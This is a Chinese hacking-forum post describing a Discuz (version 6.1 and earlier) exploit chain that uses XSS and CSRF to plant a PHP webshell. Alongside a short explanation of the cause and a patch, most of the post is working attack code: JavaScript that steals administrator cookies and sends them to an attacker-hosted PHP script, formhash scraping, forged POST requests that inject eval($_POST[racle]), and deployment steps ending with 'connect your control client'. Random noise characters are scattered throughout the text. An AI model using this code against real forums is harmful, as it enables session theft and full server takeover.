Discuz XSS得webshell6 m" o' x: [2 s& E
By racle @tian6.com2 l: C' p! w* O
欢迎转帖.但请保留版权信息.
2 I7 g2 R+ ? M0 \& A4 z* o, |受影响版本 iscuz<=6.1.0,gbk+utf+big5
2 K0 M3 }& z1 r h" S) M% }% X' @* K2 B+ L' l1 w0 k, I
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
- }2 d% T8 I9 q/ y% w
6 Z2 I4 s# x% c( h# B1 e0 W! i6 l4 P4 N7 X/ U& z7 [/ _: ^
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
# s. ~' p1 f& ]- o# @2 _1 Z3 B当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
% r7 o) p1 v) _; m8 J. E- k, w9 v) J1 Z2 t% L3 W6 [) m
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
9 e9 u# } B$ Y' O本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS4 t1 M# [/ ~2 h' F) j
/ Y( {5 X! x. o) a( a! P j0 C8 I& ?2 {" r* L7 g/ e
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
, O% G; J& A; c, Q
$ j! u5 C3 k6 u" N# H! s, G! ?9 z8 `/ V7 g8 P( Y
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
B* W i2 z- X% v$ N( l; @, r% I% v; H9 t# C
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.% J2 |- Y1 K) M, l- ?: }
7 `3 L7 A2 y$ {9 gproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
) f3 W4 }. v |) W* q% B, A/ g/ h" e U* j2 y9 s2 I
h3 V7 k& v6 Q2 B下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {! s3 T) ^: v5 @7 |5 y
$ s6 ^) n- D' ], f global $runwizardfile, $runwizardhistory;3 {1 o( W# Z4 a/ H" t, b0 p
( H) l- ^* I6 N* i( N4 e* T1 ]
$fp = fopen($runwizardfile, 'w');- m+ g, u5 U1 {9 d6 R) |. Y% q
) `0 [/ t0 m0 m. Y0 H8 i, V- ? fwrite($fp, serialize($runwizardhistory));; t* n+ T; M1 a
" r. e" ?$ v. {$ C. M fclose($fp);6 l) m- E4 `3 {) s% O
# s6 X' V: c( J9 o3 m
}
: t1 \6 @8 C; [% \8 }复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
1 g5 l. g9 M; w# a以下是修补的办法:function saverunwizardhistory() {
# ^. S% |$ @9 E0 A b
2 s0 e) Z3 d) d global $runwizardfile, $runwizardhistory;
5 P0 k1 a+ G, L, T9 |/ s3 P4 N* h
) r5 I$ t, F! w- H1 j$ ^ $fp = fopen($runwizardfile, 'w');) C C( Q7 S) v3 e, ^% n5 X
6 y9 [2 ~# h- v4 y& q
$s = '<?php exit;?>';
+ ?" k1 i! w) V) R2 M: f2 G4 B2 x' A$ i/ F
$s .= serialize($runwizardhistory);) a+ @1 i8 l5 ]/ B
# h6 @) z* g l7 H) f* [/ a9 b* j fwrite($fp, $s);
9 F8 U! |# y9 d( ?9 f/ c' w
6 q" N* E0 d/ h0 p* F# ]: G fclose($fp);, T2 s9 V6 U# e2 H$ P4 w# i- r
4 o$ N) s0 I$ Y+ ^/ b) ~# M
}6 |- d: L6 F* ^% d2 A
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.( K$ Z! a* z1 a' E3 ~3 S! s
+ d, W& M1 t& h* J# b$ _* b3 G- e3 s# f1 [# `( o
& f/ F3 z5 ~1 [+ g5 y' [, }' A
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------6 o$ C! P4 G% t7 Q
+ g! r% M% T* F0 \8 `
+ |' ^6 z6 q/ P+ T- \7 `! Z 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.1 D9 y: M9 B, p7 g& J/ x. j! t
8 a, o- i, L" S& g+ o# d我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
: H. t$ O: i4 O z; @/ S& r$ s% m# M/ U. g/ l0 c' c4 Z: [- w
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少." Z5 ~3 S- K# B) X) n
) U v. \: r. z3 N1 _
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:1 v% b0 |) N; y- Q2 m& Q8 E9 q, i
$ I: |3 m/ c; S5 {" l% S9 c
var url="http://目标网站/admincp.php";
$ w2 f( m9 L7 f! O
% z/ Z/ E) ]: Y9 I! J) Y/*获得cookies*/
$ }+ ^7 Y0 k) D
1 h. E& H4 B9 Q' E6 hfunction getURL(s) {$ U5 F! O8 S/ J1 w0 g1 U
6 {( S5 K. ~5 \# Z4 D
var image = new Image();
& @' M3 E. F( F6 S2 M H6 h0 X3 @. C' t+ b7 ?+ U
image.style.width = 0;' Z3 \ K& n$ a1 `( E8 b1 s9 |
; ~# O% b" Q ~image.style.height = 0;; G2 S3 E3 D I" |( O9 P' D, V: j
" w) T/ c' e, n6 k' E
image.src = s;6 n# G* |1 T! X9 j
8 L( y) W# V! Z- A, C; S* P
}
# e$ V, J Y7 x }
: |/ E6 W! Q: i ngetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
! S% H$ v$ h" T" p* e复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
9 p( X% e4 F0 T4 ~. ?复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
; M* F7 j( ~& ?: v! M+ U3 y% B9 s, v) e( {
. A+ J7 _+ f4 }% s4 [
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";# k& y/ N: h6 F
) D2 H" M, k0 n4 O, [2 G- j3 q$ s
4 p& m3 [: ?6 x$ r- v1 }# N
/*hash*/
0 \' I! x) E4 Q; x+ K; b: l$ h3 m) ^1 ?4 q+ k0 C) C- B; t
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
8 i8 |, w8 b5 D( z; F# f1 N* E- {; R# B
4 c" G5 t; H; U2 h; Y, F6 y) X% sxmlHttpReq.open("GET", url+"admincp.php?action=home", false);8 t! k0 f6 z* a
, z% |6 x. f: L2 n; X6 e9 Q+ ?3 g0 J% l- XxmlHttpReq.send();
, q" }! R; z- z. Y1 s/ `3 m& ~) Q+ b G& s& Y! v
var resource = xmlHttpReq.responseText;
& E) G! k* O5 G3 a% S: m7 R M& C5 v
var numero = resource.search(/formhash/);8 q5 h6 b8 D; p
. }4 \8 e& U5 r; }) Zvar formhash=encodeURIComponent(resource.substr(numero+17,8));, q1 Y- `. R; e) @/ M+ v
' g$ K4 q% l; p4 t O( Y
& Y# F( f& N5 @* `
% S3 o+ Q: b" _. e0 @: G# N9 c: b
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
3 J+ } M. X. j) D: W- j8 i' i
2 `3 U( m6 C. `9 m% R! E* OxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
5 C% c I5 ^; w3 p2 E2 V! o
7 L1 y3 z' J! I2 A" ?xmlHttpReq.setRequestHeader("Referer", url);% C& \: B" ]* h
# N2 v2 Y2 p# z+ A; t: D! H
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");# O4 o) q) l: t1 Z9 h
$ o) V! e' G, v7 ~
xmlHttpReq.setrequestheader("content-length",post.length); / e9 O; U# n( g# v+ m. L
8 y( d c& m2 n+ d0 e& A. VxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); " d" m% n& W$ q) \7 e3 w3 P
, G4 q( q1 I+ xxmlHttpReq.send(post);//发送数据' w% P, { h) b3 G
复制代码这里HASH我假设正确,这样提交,也无须cookies, ^& p7 \0 f" W
% ^$ X" q' y$ Q1 e8 e& x: I5 [再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30); F. n$ I. r) F
: N* r0 w2 L' R- n7 G, Yif (!$sock) die("$errstr ($errno)\n");+ ^1 e* g) a! p' O0 I" w1 N1 b
# y5 M$ y, O. U" @! y G Y* o: m( U* B4 t$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';$ y5 p/ ]) k3 L" A( t) E
. y4 l9 y0 s3 x' h( b5 b
: O9 q: g" K9 C+ Z0 j, a5 j4 X g* P% F' s
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
7 h# \, N. t# }3 r% U6 ?: t8 B) P5 u/ z, Q4 G
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
% Z8 o: F% F5 E! ? F5 l' }6 l
) K3 V3 d6 u' H- Bfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");& g) v; X4 k% u F4 O/ G7 f& m
" T: L/ R$ }2 mfwrite($sock, "Accept-Language: zh-cn\r\n"); n% T a8 W4 `( p3 ]! l8 E
1 H4 W' X3 a8 J
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n"); N: w' a4 M2 k3 z
" B X- D6 r* h: D( |) |4 ]
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");! @. T3 e4 F& R* C2 g, r% [" e
9 G/ e( ~6 V: U
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");0 S4 E i! _' B
3 F6 i. t/ D# F4 ` I# U- k
fwrite($sock, "Host: $url\r\n");
/ V5 p9 j/ S3 v- e4 t' X* n
& L P8 Q# e) O/ j, b* s, }fwrite($sock, "Content-Length: ".strlen($data)."\r\n");) K4 `3 Z, _! H9 O' D
7 O1 i# O" \- e4 Bfwrite($sock, "Connection: Keep-Alive\r\n");& N% g' h1 `+ | M# t
6 @, v5 h! k3 U7 L) _
fwrite($sock, "Cache-Control: no-cache\r\n");3 F$ ~4 Z" f% X; M+ P& k8 o
1 y9 A) v2 l/ ^/ ^6 D
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");% |9 M) J0 }" o/ |
# r3 O2 a. G5 L7 ?* Q% p
fwrite($sock, $data);
( x2 X/ y" g9 K, ?2 c" S3 h4 [, z4 y* C( E( V2 `6 i: D
. u' f7 A* r% X4 }7 r
3 w: H- m% I( l$headers = "";" P3 S1 d- p4 n
* Z% `7 z+ F1 B& t, Fwhile ($str = trim(fgets($sock, 4096)))3 K& h$ |9 x: X) |
# \9 |! L. ^8 Y0 Q
$headers .= "$str\n";0 ]( w) x0 h) @! S+ J
9 ~ S' y* Z3 ]/ S: Yecho "\n";; \! w1 t* \: [! P. |0 ~: W! C
4 n' e! Y' K; l# t; Q
$body = "";
9 C2 D, J1 m% e ~& S9 o9 k! @- K: h `3 F) k
while (!feof($sock))
+ I" D& o! [6 \+ _, ~1 i' d+ l3 T, h# Q0 {5 v& V
$body .= fgets($sock, 4096);6 ]: a" C: `9 k6 Q8 C0 T( N
+ x3 v$ w) ]# x. F5 cfclose($sock);, p$ } e' L1 @" G) X7 r- k7 v
# t# t1 B2 Y" J e
echo $body;
5 F2 Q& s6 Z. t- g复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
; j$ j9 p0 h1 g& S# A7 e; g& h) R/ {, W; t. n
1 C; H1 h! n7 n. x-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
9 ~8 l: \' S8 r8 H3 i! t! y$ F8 C+ \* v$ b. W) ~6 |& Y$ C- I& }
! T: e; l2 m- y1 R2 y, D
1 HP SOCKET利用方法首先打开racle.js( t2 w4 n' B! c3 ^& k) Q% t
& u+ [# g: y$ w, Mvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home' J4 j8 D( O$ y
f) j: f! G/ V- h8 l- J0 s2 h5 r
5 {. W7 W: i) k( T0 ]
S, k# ^9 p0 Z' W4 A4 p% j
然后打开racle@tian6.php
. X6 ^! T- ^- o2 m0 @
9 o1 }( Y' |2 [: x9 O( m$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
; {8 W- ?/ v- W1 y/ X! P- N9 U! U6 p1 c/ _2 e# H: G1 j
6 B1 H. o( V- r R/ V% A
) z1 Q) t* j7 M4 X4 g* C如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
y6 @9 }- b6 N4 m: H0 L$ h/ ~* x b9 ^9 f- G6 g' q2 \! ~6 q( m
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
4 ], _1 m$ f( y. I" Q$ M/ O7 {! {3 |& o1 @- |2 o0 \- x4 {
为
% T6 n1 ~/ ], D k: F
# k8 b7 t' g% N3 A8 h* P& W# ]getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));2 y& c; } u0 D( Y, f
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
6 j1 K& l, Y+ R/ B2 `9 @) \
% Y t7 U. U' [" m( F
, ^- n. J- K0 y% r$ i2 s- u+ N" \( b( P) o
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
3 z; K7 a: Y5 B5 N- U
9 [* B: b8 @) g' W! Cvar formhash=encodeURIComponent(resource.substr(numero+17,8));
+ N6 c; @& y) q, r/ o; ~6 `) g9 c4 e: Z$ a
为6 ~7 [) P0 |9 k. c2 P% L
$ o2 _: V7 E' Q; L9 S" f5 \/ A$ @
var formhash=encodeURIComponent(resource.substr(numero+9,8));# T- h b3 K5 f4 P5 w
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.0 u$ f0 `! t1 V$ }. z
2 S0 F, h1 e# `9 w% h4 J
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
% K" k7 O, i' n) t- a% j8 n e
" ]' N9 _! F2 |% m" h. V如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
; J K; w+ H/ Y0 T7 P; }/ P4 Z
# {; E3 c% ~2 Y- Y- ?6 z不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.6 W9 [0 _2 _1 d" d+ `1 F8 l* {
; N: P, z u1 E* s. V |